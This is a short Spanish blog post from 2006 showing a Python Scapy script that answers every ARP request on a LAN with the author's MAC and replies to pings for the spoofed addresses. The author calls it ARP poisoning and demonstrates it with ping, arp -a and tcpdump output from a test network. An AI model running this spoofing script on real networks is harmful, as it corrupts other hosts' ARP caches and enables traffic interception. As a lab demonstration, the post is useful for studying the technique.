mayo 18, 2006

Generando paquetes bajo demanda con Scapy

A raiz de tanto paquete ARP se me ocurría que, ya que las peticiones de resolución se hacen sobre los broadcast, sería posible generar respuestas falsas y hacer creer al equipo remoto que realmente está viendo el destino (la antigua técnica de Arp Poisoning).

Pues, manos a la obra con scapy (que nos permite la manipulación y sniffado de paquetes en python).

La idea es: cada vez que nos llege un paquete "ARP query" responderemos que somos nosotros (nuestra MAC) y cuando nos llege un ping para esa IP responderemos al ping:

#!/usr/bin/python

import scapy

IFACE='eth1'
MIMAC='00:0C:29:57:15:C4'.lower()
INVMAC=MIMAC

def confirmapkt(pkt):
hwsrc=pkt.src
pkt=pkt.payload

if pkt.name == 'ARP':
if (pkt.op == 1) and (pkt.hwsrc != MIMAC):
print 'Recibido: ARP. (%s) ?%s' % (pkt.psrc, pkt.pdst)

reply=scapy.Ether(src=INVMAC, dst=pkt.hwsrc)/ scapy.ARP(hwdst=pkt.hwsrc, hwsrc=INVMAC, psrc=pkt.pdst, pdst=pkt.psrc, op=2)
print 'Respondiendo: %s => %s:' % (pkt.pdst, INVMAC),
scapy.sendp(reply, iface=IFACE, verbose=0)
print 'ENVIADO'

elif pkt.name == 'IP':
ipsrc=pkt.src
ipdst=pkt.dst

pkt=pkt.payload
if pkt.name == 'ICMP' and (pkt.type == 8):
print 'Recibido: ICMP QUERY. %s -> %s' % (ipsrc, ipdst)
reply=scapy.Ether(src=INVMAC, dst=hwsrc)/ scapy.IP(dst=ipsrc, src=ipdst)/ scapy.ICMP(seq=pkt.seq, type=0, id=pkt.id)/ scapy.Raw(load=pkt.load)
print 'Respondiendo: ICMP REPLY. %s -> %s:' % (ipdst, ipsrc),
scapy.sendp(reply, iface=IFACE, verbose=0)
print 'ENVIADO'

scapy.sniff(iface=IFACE, filter='arp or icmp', prn=confirmapkt)


Siguiendo un poco el código lo que hacemos es: dependiendo del tipo de paquete (el filtro de captura pilla arp o icmp) devolvemos a la LAN un tipo de respuesta diferente (ARP reply o ICMP reply), es importante que las variables MIMAC e IFACE definan nuestro interfaz de captura y la mac del mismo.

Probando con un windows en la misma LAN:
C:\>ping 192.168.50.199 -n 1
Pinging 192.168.50.199 with 32 bytes of data:
Reply from 192.168.50.199: bytes=32 time=39ms TTL=64

C:\>arp -a
Interface: 192.168.50.10 --- 0x10003
Internet Address Physical Address Type
192.168.50.1 00-0c-29-57-15-c4 dynamic
192.168.50.199 00-0c-29-57-15-c4 dynamic

La salida del superping.py :)
Recibido:     ARP. (192.168.50.10) ?192.168.50.199
Respondiendo: 192.168.50.199 => 00:0c:29:57:15:c4: ENVIADO
Recibido: ICMP QUERY. 192.168.50.10 -> 192.168.50.199
Respondiendo: ICMP REPLY. 192.168.50.199 -> 192.168.50.10: ENVIADO

Una captura de tcpdump de lo que ha sucedido:
  000000 arp who-has 192.168.50.199 tell 192.168.50.10
005735 arp reply 192.168.50.199 is-at 00:0c:29:57:15:c4
004867 IP 192.168.50.10 > 192.168.50.199: icmp 40: echo request seq 20992
000053 IP 192.168.50.1 > 192.168.50.10: icmp 68: redirect 192.168.50.199 to host 192.168.50.199
000033 arp who-has 192.168.50.199 tell 192.168.50.1
007904 IP 192.168.50.199 > 192.168.50.10: icmp 40: echo reply seq 20992
986377 arp who-has 192.168.50.199 tell 192.168.50.1
1.000001 arp who-has 192.168.50.199 tell 192.168.50.1
999997 IP 192.168.50.1 > 192.168.50.10: icmp 68: host 192.168.50.199 unreachable

La 50.1 es la puerta de enlace y al recibir los paquetes para esa IP le ha dicho que le pregunte a esa IP directamente (que está mas cerca) y posteriormente intenta contactarla, pero para el momento que la 50.1 se ha dado cuenta de que no puede llegar a esa IP nosotros ya hemos mandado un reply en toda regla ;)

Tags:

comentarios: